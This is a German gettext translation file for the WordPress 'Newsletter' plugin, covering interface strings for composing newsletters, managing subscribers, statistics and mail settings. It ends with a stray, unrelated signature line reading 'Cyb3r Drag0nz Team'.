msgid "No test subscribers found."
msgstr "Kein Test-Abonnent gefunden"

#: subscription/template.php:61
msgid "The tag {message} is missing in your template"
msgstr "Der Tag {message} fehlt in deiner Vorlage"

#: includes/controls.php:396
msgid "Done."
msgstr "erledigt"

#: emails/tnp-composer/edit.php:238
msgid "Tags (comma separated)"
msgstr "Schlagwörter (Komma getrennt)"

#: emails/themes/default/theme-options.php:40 emails/tnp-composer/edit.php:233
#: emails/blocks/posts/options.php:38
msgid "Categories"
msgstr "Kategorien"

#: emails/tnp-composer/edit.php:231
msgid "Number of posts"
msgstr "Anzahl Beiträge"

#: emails/tnp-composer/edit.php:168 emails/tnp-composer/edit.php:208
msgid "Font Family"
msgstr "Schriftfamilie"

#: emails/tnp-composer/edit.php:163 emails/tnp-composer/edit.php:203
msgid "Edit Block"
msgstr "Editierbereich"

#: emails/tnp-composer/edit.php:153 emails/blocks/preheader/options.php:10
msgid "Text"
msgstr "Text"

#: emails/tnp-composer/edit.php:150
msgid "Edit Text"
msgstr "Text bearbeiten"

#: main/info.php:55 emails/tnp-composer/edit.php:100
#: emails/blocks/posts/options.php:10 widget/standard.php:106
msgid "Title"
msgstr "Titel"

#: emails/tnp-composer/edit.php:97
msgid "Edit Title"
msgstr "Titel bearbeiten"

#: emails/tnp-composer/edit.php:88 emails/tnp-composer/edit.php:166
#: emails/tnp-composer/edit.php:206
msgid "Background Color"
msgstr "Hintergrundfarbe"

#: emails/tnp-composer/edit.php:86 emails/tnp-composer/edit.php:102
msgid "Text Color"
msgstr "Textfarbe"

#: emails/tnp-composer/edit.php:79
msgid "Edit Button"
msgstr "Button bearbeiten"

#: emails/tnp-composer/edit.php:70 emails/tnp-composer/edit.php:84
msgid "URL"
msgstr "URL"

#: emails/tnp-composer/edit.php:68 emails/tnp-composer/edit.php:82
msgid "TITLE"
msgstr "TITEL"

#: emails/tnp-composer/edit.php:65
msgid "Edit Link"
msgstr "Link bearbeiten"

#: emails/tnp-composer/edit.php:7
msgid "Cancel"
msgstr "Abbrechen"

#: emails/tnp-composer/edit.php:26
msgid "LINK"
msgstr "Link"

#: emails/tnp-composer/edit.php:24
msgid "ALT TEXT"
msgstr "ALT Text"

#: emails/tnp-composer/edit.php:17
msgid "SOURCE"
msgstr "Quelle"

#: users/import.php:207 users/export.php:30
msgid "Field separator"
msgstr "Felder Trennzeichen"

#: emails/tnp-composer/edit.php:240
msgid "Any prior changes to single posts will be lost when editing these settings."
msgstr "Alle vorhergegangenen Änderungen in Beiträgen gehen verloren, wenn diese Einstellungen geändert werden"

#: emails/tnp-composer/edit.php:15
msgid "Edit Image"
msgstr "Bild bearbeiten"

#: statistics/view.php:33
msgid "No data, newsletter not sent yet."
msgstr "Keine Daten vorhanden, Newsletter noch nicht versendet"

#: emails/theme.php:69
msgid "Responsive Drag & Drop Composer"
msgstr "Responsive Drag & Drop Composer"

#: emails/composer.php:98
msgid "Save & Preview"
msgstr "Speichern & Vorschau"

#: emails/composer.php:90
msgid "Read the guide"
msgstr "Lies die Anleitung"

#. Author URI of the plugin
msgid "https://www.thenewsletterplugin.com"
msgstr "https://www.thenewsletterplugin.com"

#. Author of the plugin
msgid "Stefano Lissa & The Newsletter Team"
msgstr ""
"Stefano Lissa &\n"
"Das Newsletter Team"

#. Description of the plugin
msgid "Newsletter is a cool plugin to create your own subscriber list, to send newsletters, to build your business. <strong>Before update give a look to <a href=\"https://www.thenewsletterplugin.com/category/release\">this page</a> to know what's changed.</strong>"
msgstr "Newsletter ist ein cooles Plugin um damit eine eigene Abonnentenliste zu erstellen, Newsletter zu versenden und um deine Arbeit bekannter zu machen. <strong>Wirf vor dem Update einen Blick auf <a href=\"https://www.thenewsletterplugin.com/category/release\">diese Seite</a>, um mehr über die Änderungen zu erfahren.</strong>"

#. Plugin URI of the plugin
msgid "https://www.thenewsletterplugin.com/plugins/newsletter"
msgstr "https://www.thenewsletterplugin.com/plugins/newsletter"

#. Plugin Name of the plugin
msgid "Newsletter"
msgstr "Newsletter"

#: users/statistics.php:29
msgid "Subscriber statistics"
msgstr "Abonnenten-Statistiken"

#: users/new.php:37
msgid "New Subscriber"
msgstr "Neuer Abonnent"

#: users/massive.php:315
msgid "One email address per line."
msgstr "Eine Email-Adresse pro Zeile"

#: users/massive.php:311
msgid "Bounced addresses"
msgstr "Fehlgeschlagene Adressen"

#: users/massive.php:235
msgid "Delete all bounced"
msgstr "Entferne alle unzustellbaren"

#: users/massive.php:230 users/statistics.php:84 users/statistics.php:147
#: users/statistics.php:180 users/statistics.php:215
msgid "Bounced"
msgstr "unzustellbar"

#: users/massive.php:225
msgid "Delete all unsubscribed"
msgstr "Lösche alle abgemeldeten"

#: users/massive.php:220 users/statistics.php:78 users/statistics.php:146
#: users/statistics.php:179 users/statistics.php:214
msgid "Unsubscribed"
msgstr "Abgemeldet"

#: users/massive.php:215
msgid "We have some tips about global actions, read more."
msgstr "Tipps zur allgemeinen Vorgangsweise. "

#: users/massive.php:213
msgid "Are you sure you want to mark ALL subscribers as confirmed?"
msgstr "Bist du sicher? Alle Abonnenten als \"Bestätigt\" markieren?"

#: users/massive.php:213
msgid "Confirm all"
msgstr "Alle bestätigen"

#: users/massive.php:212
msgid "Are you sure you want to delete ALL not confirmed subscribers?"
msgstr "Bist du sicher? ALLE nicht bestätigten Abonnenten löschen?"

#: users/massive.php:212
msgid "Delete all not confirmed"
msgstr "Alle nicht bestätigten Abonnenten löschen"

#: includes/controls.php:832
msgid "Are you sure?"
msgstr "Bist du sicher?"

#: users/massive.php:203
msgid "Unconfirm all"
msgstr "Alle abwählen"

#: users/massive.php:194
msgid "Are you sure you want to remove ALL subscribers?"
msgstr "Bist du sicher, dass du ALLE Abonnenten löschen möchtest?"

#: users/massive.php:194
msgid "Delete all"
msgstr "Alle löschen"

#: users/massive.php:189
msgid "Total collected emails"
msgstr "Alle gesammelten Emails"

#: users/massive.php:185
msgid "Actions"
msgstr "Aktionen"

#: users/massive.php:184 users/statistics-time.php:16
#: users/statistics-time.php:39 users/statistics.php:55
#: users/statistics.php:102
msgid "Total"
msgstr "Gesamt"

#: users/massive.php:154
msgid "Please, backup before run a massive action."
msgstr "Bitte sichere deine Daten bevor du eine Massenoperation ausführst."

#: users/massive.php:153
msgid "Subscribers Maintenance"
msgstr "Abonnentenverwaltung"

#: users/massive.php:38
msgid "Subscribers deleted: "
msgstr "Abonnenten gelöscht:"

#: users/massive.php:33
msgid "Subscribers changed to confirmed: "
msgstr "Abonnenten geändert auf \"bestätigt\""

#: users/massive.php:28
msgid "Subscribers changed to not confirmed: "
msgstr "Abonnenten geändert auf \"nicht bestätigt\""

#: users/massive.php:23
msgid "Subscribers bounced deleted: "
msgstr "Nicht abgeschlossene Anmeldungen gelöscht:"

#: users/massive.php:18
msgid "Subscribers unsubscribed deleted: "
msgstr "Abgemeldete Abonnenten gelöscht:"

#: users/massive.php:13
msgid "Subscribers not confirmed deleted: "
msgstr "Nicht bestätigte Abonnenten gelöscht:"

#: tnp-header.php:43 profile/index.php:61
msgid "Profile page"
msgstr "Profil Seite"

#: users/index.php:229
msgid "Resend welcome"
msgstr "Willkommensmail erneut versenden"

#: users/index.php:225
msgid "Remove"
msgstr "Entfernen"

#: users/index.php:154
msgid "subscriber(s) found"
msgstr "Abonnent(en) gefunden"

#: users/index.php:150 users/index.php:242
msgid "Go"
msgstr "Start"

#: users/index.php:139
msgid "Show lists"
msgstr "zeige Listen"

#: users/index.php:136
msgid "Reset Filters"
msgstr "Filter zurücksetzen"

#: users/index.php:134
msgid "Search"
msgstr "Suchen"

#: users/index.php:130
msgid "filter by"
msgstr "Filtern nach"

#: users/index.php:128
msgid "Search text"
msgstr "Suchtext"

#: users/import.php:215
msgid "CSV file"
msgstr "CSV-Datei"

#: users/import.php:191
msgid "user data will be left untouched if already present."
msgstr "Abonnenten-Daten werden nicht geändert falls vorhanden"

#: users/import.php:190
msgid "user data will be overwritten with new informations (like name and preferences)."
msgstr "Abonnenten Daten werden mit neuen Information überschrieben (z.B. Name und Voreinstellungen)"

#: users/import.php:189
msgid "user data will be updated, existing preferences will be left untouched and new ones will be added."
msgstr "Abonnenten Daten werden aktualisiert, bestehende Voreinstellungen bleiben unverändert und neue werden hinzugefügt."

#: users/import.php:179
msgid "Override status of existing users"
msgstr "Überschreibe den Status von existierenden Benutzern"

#: users/import.php:175
msgid "Import Subscribers As"
msgstr "Abonnenten importieren als"

#: users/edit.php:90
msgid "Editing"
msgstr "Bearbeitung"

#: tnp-header.php:167
msgid "Licence expired"
msgstr "Lizenz abgelaufen"

#: tnp-header.php:164
msgid "Licence active"
msgstr "Lizenz aktiv"

#: tnp-header.php:121
msgid "External mail server"
msgstr "externer Mail-Server"

#: tnp-header.php:120
msgid "SMTP"
msgstr "SMTP"

#: tnp-header.php:112
msgid "Social, address, logo and general info"
msgstr "Soziales, Adresse, Logo und allgemeine Infos"

#: tnp-header.php:107
msgid "Delivery speed, sender details, ..."
msgstr "Zustellgeschwindigkeit, Absenderdetails, ..."

#: tnp-header.php:96
msgid "Tracking configuration and basic data"
msgstr "Tracking- und Basisdatenkonfiguration"

#: tnp-header.php:94
msgid "The classic \"write & send\" newsletters"
msgstr "Der klassische \"schreib & sende\" Newsletter"

#: tnp-header.php:115
msgid "Change the look of your service emails"
msgstr "Layout der Service-Mails anpassen"

#: tnp-header.php:114
msgid "Messages Template"
msgstr "Nachrichten-Vorlage"

#: tnp-header.php:81
msgid "Hand coded form storage"
msgstr "Eigene Formulare"

#: tnp-header.php:76
msgid "How to give the last goodbye (or avoid it!)"
msgstr "Ein letztes Goodbye (oder wie man es vermeidet!)"

#: tnp-header.php:75
msgid "Unsubscription"
msgstr "Abmeldung"

#: tnp-header.php:72
msgid "Profile the subscribers for a better targeting"
msgstr "Profileinstellung Abonnenten"

#: tnp-header.php:68
msgid "When and what data to collect"
msgstr "Welche Daten werden gesammelt (und wann) "

#: tnp-header.php:61
msgid "The subscription process in detail"
msgstr "Der Abonnierungsprozess im Detail"

#: subscription/options.php:132 tnp-header.php:60
msgid "Subscription"
msgstr "Anmeldung"

#: tnp-header.php:58
msgid "List Building"
msgstr "Listen erstellen"

#: tnp-header.php:52
msgid "All about your subscribers"
msgstr "Alles über die Abonnenten"

#: tnp-header.php:50
msgid "Massive actions: change list, clean up, ..."
msgstr "Massenoperationen: Listen ändern, aufräumen, ..."

#: tnp-header.php:49
msgid "Maintenance"
msgstr "Wartung"

#: tnp-header.php:48
msgid "Export your subscribers list"
msgstr "Abonnenten-Liste exportieren"

#: users/export.php:16 users/export.php:45 tnp-header.php:47
msgid "Export"
msgstr "Exportieren"

#: tnp-header.php:46
msgid "Import from external sources"
msgstr "Importieren von anderen Quellen "

#: users/import.php:151 tnp-header.php:45
msgid "Import"
msgstr "Import"

#: tnp-header.php:41
msgid "Add, edit, search"
msgstr "Hinzufügen, Bearbeiten, Suchen"

#: tnp-header.php:40
msgid "Search And Edit"
msgstr "Suchen und Bearbeiten"

#: subscription/lists.php:76 users/index.php:116 tnp-header.php:38
msgid "Subscribers"
msgstr "Abonnenten"

#: tnp-footer.php:24
msgid "Stay updated"
msgstr "Bleibe Up-to-Date"

#: tnp-footer.php:15
msgid "Blog"
msgstr "Blog"

#: tnp-footer.php:14
msgid "Forum"
msgstr "Forum"

#: tnp-footer.php:13
msgid "Your Account"
msgstr "Dein Konto"

#: tnp-footer.php:8
msgid "Get Premium"
msgstr "Premium holen"

#: unsubscription/index.php:82
msgid "Goodbye email"
msgstr "Goodbye-E-Mail"

#: unsubscription/index.php:73
msgid "Goodbye message"
msgstr "Goodbye-Nachricht"

#: subscription/template.php:87
msgid "Messages template"
msgstr "Nachrichten Vorlage"

#: subscription/profile.php:43
msgid "Subscription Form Fields and Layout"
msgstr "Anmeldeform: Felder und Layout"

#: subscription/forms.php:24 tnp-header.php:80
msgid "Custom Forms"
msgstr "Eigene Formulare"

#: statistics/view.php:26
msgid "Statistics of"
msgstr "Statistik für"

#: statistics/settings.php:50
msgid "This auto-generated key is used to protect the click tracking. If you change it old tracking links to external domains won't be registered anymore."
msgstr "Der autom. generierte Key dient zur Absicherung des Trackings der Klicks. Bei einer nachträglichen Änderung des Keys werden Klicks auf Links zu externen Domains nicht mehr registriert."

#: statistics/settings.php:46
msgid "Secret key"
msgstr "Geheimer Schlüssel"

#: statistics/settings.php:38
msgid "Configuration"
msgstr "Konfiguration"

#: statistics/settings.php:26
msgid "Statistics Settings"
msgstr "Statistik-Einstellungen"

#: statistics/index.php:283 tnp-header.php:102
msgid "Settings"
msgstr "Einstellungen"

#: statistics/index.php:242
msgid "Details"
msgstr "Details"

#: statistics/index.php:242
msgid "Last newsletters"
msgstr "Letzte Newsletter"

#: statistics/settings.php:39 statistics/index.php:218
msgid "Countries"
msgstr "Länder"

#: statistics/index.php:205
msgid "Clicked Newsletters"
msgstr "Angeklickte Newsletter"

#: statistics/index.php:198
msgid "Opened Newsletters"
msgstr "Newsletter geöffnet"

#: statistics/index.php:191
msgid "Total Sent Messages"
msgstr "Anzahl gesendete Nachrichten"

#: statistics/index.php:112
msgid "Update Charts"
msgstr "Charts aktualisieren"

#: statistics/index.php:93
msgid "Global Newsletter Statistics"
msgstr "Globale Newsletter-Statistiken"

#: main/smtp.php:103
msgid "SMTP Settings"
msgstr "SMTP-Einstellungen"

#: main/smtp.php:21
msgid "Saved. Remember to test your changes right now!"
msgstr "Gespeichert. Denk daran, deine Änderungen jetzt zu testen!"

#: main/main.php:234
msgid "Max emails per hour"
msgstr "Maximale E-Mails pro Stunde"

#: main/main.php:189
msgid "Reply to"
msgstr "Antworten an"

#: main/main.php:182
msgid "Return path"
msgstr "Rückgabe Pfad"

#: main/main.php:175 main/welcome.php:123
msgid "Sender name"
msgstr "Absender-Name"

#: main/main.php:168
msgid "Sender email address"
msgstr "Absender Email-Adresse"

#: main/main.php:155
msgid "Advanced Settings"
msgstr "Erweiterte Einstellungen"

#: main/main.php:154
msgid "Delivery Speed"
msgstr "Auslieferungsgeschwindigkeit"

#: main/main.php:153
msgid "Basic Settings"
msgstr "Grundeinstellungen"

#: main/main.php:31
msgid "Reply to email is not correct."
msgstr "Die Antwort-E-Mail-Adresse ist nicht korrekt."

#: main/main.php:24
msgid "Return path email is not correct."
msgstr "Die Rückgabe-E-Mail-Adresse ist nicht korrekt."

#: main/main.php:18
msgid "The sender email address is not correct."
msgstr "Die E-Mail-Adresse ist nicht korrekt."

#: main/info.php:38 emails/themes/vimeo-like/theme-options.php:25
msgid "Social"
msgstr "Sozial"

#: subscription/options.php:131 users/massive.php:174 users/edit.php:106
#: profile/index.php:50 main/info.php:37
#: emails/themes/vimeo-like/theme-options.php:24
msgid "General"
msgstr "Allgemein"

#: tnp-header.php:111 main/info.php:26
msgid "Company Info"
msgstr "Unternehmensinformation"

#: main/index.php:368
msgid "Profile"
msgstr "Profil"

#: users/index.php:199 main/index.php:362
msgid "BOUNCED"
msgstr "Fehlgeschlagen"

#: users/index.php:197 main/index.php:360
msgid "UNSUBSCRIBED"
msgstr "Abgemeldet"

#: users/index.php:195 main/index.php:358
msgid "CONFIRMED"
msgstr "Bestätigt"

#: users/index.php:193 main/index.php:356
msgid "NOT CONFIRMED"
msgstr "Nicht bestätigt"

#: main/index.php:340
msgid "Last Subscribers"
msgstr "Neueste Abonnenten"

#: main/index.php:316
msgid "Buy"
msgstr "Kaufen"

#: main/index.php:314
msgid "Premium"
msgstr "Premium"

#: main/index.php:259 main/index.php:345
msgid "New"
msgstr "Neu"

#: users/export.php:38 users/statistics.php:101 main/index.php:256
#: main/index.php:342
msgid "List"
msgstr "Liste"

#: main/index.php:241
msgid "Learn how to segment your suscribers"
msgstr "Lerne, wie du deine Abonnenten unterteilst"

#: main/index.php:236
msgid "All Video Tutorials"
msgstr "Alle Video-Tutorials"

#: main/index.php:230
msgid "Problem sending messages? Start here!"
msgstr "Probleme beim Nachrichten versenden?"

#: main/index.php:221
msgid "Read all"
msgstr "Alle lesen"

#: main/welcome.php:207 main/index.php:219
msgid "Documentation"
msgstr "Dokumentation"

#: main/index.php:107
msgid "Overall"
msgstr "Allgemein"

#: main/index.php:103
msgid "Last Newsletter"
msgstr "Letzter Newsletter"

#: main/index.php:96
msgid "These charts are only for example:<br>create and send your first newsletter to have real statistics!"
msgstr "Diese Grafiken dienen als Beispiele:<br>Erstelle und versende deinen ersten Newsletter um reale Statistiken zu erhalten"

#: main/index.php:75
msgid "Your powerful control panel"
msgstr "Dein leistungsfähiges Bedienfeld"

#: main/index.php:74
msgid "Dashboard"
msgstr "Dashboard"

#: tnp-header.php:106 main/main.php:141
msgid "General Settings"
msgstr "Generelle Einstellungen"

#: subscription/antibot.php:94 includes/controls.php:449
msgid "Enabled"
msgstr "Aktiv"

#: main/index.php:281 includes/module.php:827
msgid "Draft"
msgstr "Entwurf"

#: includes/module.php:825
msgid "Paused"
msgstr "Unterbrochen"

#: includes/module.php:823
msgid "Sent"
msgstr "Gesendet"

#: includes/controls.php:818
msgid "Delete"
msgstr "Löschen"

#: includes/controls.php:792
msgid "Back"
msgstr "Zurück"

#: includes/controls.php:784
msgid "Reset"
msgstr "Zurücksetzen"

#: profile/defaults.php:13 emails/tnp-composer/edit.php:8
#: emails/composer.php:97 includes/controls.php:776
msgid "Save"
msgstr "Speichern"

#: includes/controls.php:746
msgid "Valid email address"
msgstr "Gültige E-Mail-Adresse"

#: includes/controls.php:375
msgid "Saved."
msgstr "Gesichert."

#: emails/theme.php:57
msgid "Select a theme"
msgstr "Wähle ein Design"

#: emails/new.php:161
msgid "Refresh the preview"
msgstr "Vorschau aktualisieren"

#: emails/new.php:145
msgid "Back to newsletter themes"
msgstr "Zurück zu den Newsletter-Themes"

#: emails/new.php:144
msgid "Create a newsletter"
msgstr "Erstelle einen Newsletter"

#: emails/index.php:125
msgid "Expected total at the end of the delivery may differ, due to subscriptions/unsubscriptions occured meanwhile."
msgstr "Die Gesamtanzahl kann variieren, falls während der Versendung Neuanmeldungen oder Abmeldungen erfolgen"

#: tnp-header.php:51 tnp-header.php:95 main/index.php:87 main/index.php:89
#: main/index.php:303 emails/index.php:115
msgid "Statistics"
msgstr "Statistiken"

#: users/index.php:222 main/index.php:302 main/index.php:367
#: emails/edit-composer.php:1 emails/index.php:111
msgid "Edit"
msgstr "Bearbeiten"

#: subscription/options.php:158 emails/index.php:107 includes/controls.php:432
msgid "Yes"
msgstr "Ja"

#: statistics/newsletters.php:64 emails/index.php:105 includes/module.php:863
msgid "of"
msgstr "von"

#: main/index.php:278 emails/index.php:98 includes/module.php:819
msgid "Sending"
msgstr "Sendet"

#: main/index.php:276 emails/index.php:96 includes/module.php:817
msgid "Scheduled"
msgstr "Geplant"

#: statistics/newsletters.php:51 emails/index.php:66
msgid "Tracking"
msgstr "Nachverfolgung"

#: users/statistics-time.php:38 emails/index.php:65
msgid "Date"
msgstr "Datum"

#: emails/index.php:64
msgid "Progress"
msgstr "Fortschritt"

#: statistics/index.php:252 statistics/newsletters.php:46 emails/index.php:62
msgid "Subject"
msgstr "Betreff"

#: includes/controls.php:781 includes/controls.php:802
#: includes/controls.php:815
msgid "Proceed?"
msgstr "Fortfahren?"

#: emails/index.php:54
msgid "Delete selected newsletters"
msgstr "Ausgewählte Newsletter löschen"

#: emails/index.php:53
msgid "New newsletter"
msgstr "Neuer Newsletter"

#: statistics/newsletters.php:33 users/edit.php:110 tnp-header.php:89
#: tnp-header.php:93 main/index.php:254 emails/index.php:43
msgid "Newsletters"
msgstr "Newsletters"

#: emails/index.php:21
msgid "Message duplicated."
msgstr "Nachricht dupliziert"

#: emails/edit.php:323
msgid "Edit Newsletter"
msgstr "Newsletter bearbeiten"

#: emails/edit.php:485
msgid "Send on"
msgstr "Versendung fortsetzen"

#: emails/edit.php:479
msgid "Track clicks and message opening"
msgstr "Klicks und Öffnen der Nachricht nachverfolgen"

#: subscription/profile.php:32 emails/edit.php:474
msgid "Required"
msgstr "Erforderlich"

#: emails/edit.php:473
msgid "Hide/show from public sent newsletter list."
msgstr "Anzeigen/Verbergen auf der öffentlichen Liste der versendeten Newsletter"

#: emails/edit.php:466
msgid "Keep private"
msgstr "Privat halten"

#: emails/edit.php:453
msgid "Save to update if on targeting filters have been changed"
msgstr "Speichern um Änderungen der Filter für die Versendung zu übernehmen."

#: users/import.php:177 users/statistics.php:72 users/statistics.php:145
#: users/statistics.php:178 users/statistics.php:213 emails/edit.php:430
msgid "Not confirmed"
msgstr "Nicht bestätigt"

#: users/import.php:177 users/massive.php:198 users/statistics.php:66
#: users/statistics.php:118 users/statistics.php:144 users/statistics.php:177
#: users/statistics.php:212 emails/edit.php:430
msgid "Confirmed"
msgstr "Bestätigt"

#: subscription/lists.php:52 users/import.php:197 users/massive.php:175
#: users/index.php:166 users/edit.php:107 users/edit.php:178 tnp-header.php:71
#: emails/edit.php:405
msgid "Lists"
msgstr "Listen"

#: subscription/profile.php:110 users/statistics.php:211 users/edit.php:140
#: emails/edit.php:420
msgid "Gender"
msgstr "Geschlecht"

#: emails/edit-html.php:56 emails/edit-editor.php:61
msgid "Available tags"
msgstr "Verfügbare Schlagwörter"

#: statistics/index.php:254 statistics/newsletters.php:48 users/massive.php:183
#: users/statistics.php:54 users/index.php:164 users/edit.php:146
#: tnp-header.php:135 main/status.php:157 emails/index.php:63
#: emails/edit.php:361 emails/edit.php:428
msgid "Status"
msgstr "Status"

#: users/edit.php:109 emails/edit.php:360
msgid "Other"
msgstr "Sonstiges"

#: emails/edit.php:359
msgid "Targeting"
msgstr "Auswahl der Empfänger"

#: emails/edit.php:358
msgid "Message (textual)"
msgstr "Nachricht (nur Text)"

#: emails/edit.php:357
msgid "Message"
msgstr "Nachricht"

#: emails/edit.php:343
msgid "This totally stop the delivery, ok?"
msgstr "Hierdurch wird der Versand abgebrochen, OK ? "

#: emails/edit.php:343
msgid "Stop"
msgstr "Stopp"

#: emails/edit.php:342
msgid "Continue"
msgstr "Fortsetzen"

#: emails/edit.php:341
msgid "Pause the delivery?"
msgstr "Versendung unterbrechen?"

#: emails/edit.php:341
msgid "Pause"
msgstr "Anhalten"

#: emails/edit.php:340
msgid "Start real delivery?"
msgstr "Realen Versand starten ?"

#: emails/edit.php:340
msgid "Send"
msgstr "Absenden"

#: emails/edit.php:248
msgid "Read more about test subscribers"
msgstr "Erfahre mehr über Test-Abonnenten"

#: emails/edit.php:242
msgid "Test newsletter sent to:"
msgstr "Test-Newsletter wurde gesendet an:"

#: emails/edit.php:237
msgid "There are no test subscribers to send to"
msgstr "Es gibt keine Testabonnenten an die der Newsletter versendet werden kann"

#: emails/edit.php:228
msgid "Delivery definitively cancelled"
msgstr "Versand endgültig abgebrochen"

#: emails/edit.php:209
msgid "Now sending, see the progress on newsletter list"
msgstr ""
"Sende ...\n"
"Sieh dir den Fortschritt in der Newsletter-Liste an"

#: emails/edit.php:205 emails/edit.php:233
msgid "A subject is required to send"
msgstr "Zum Senden wird ein Betreff benötigt"

#: emails/composer.php:89
msgid "Compose a newsletter"
msgstr "Newsletter zusammenstellen"

#: emails/new.php:16 emails/new.php:71 emails/composer.php:24
msgid "Here the email subject"
msgstr "Betreff der E-Mail"

Cyb3r Drag0nz Team • Google Edition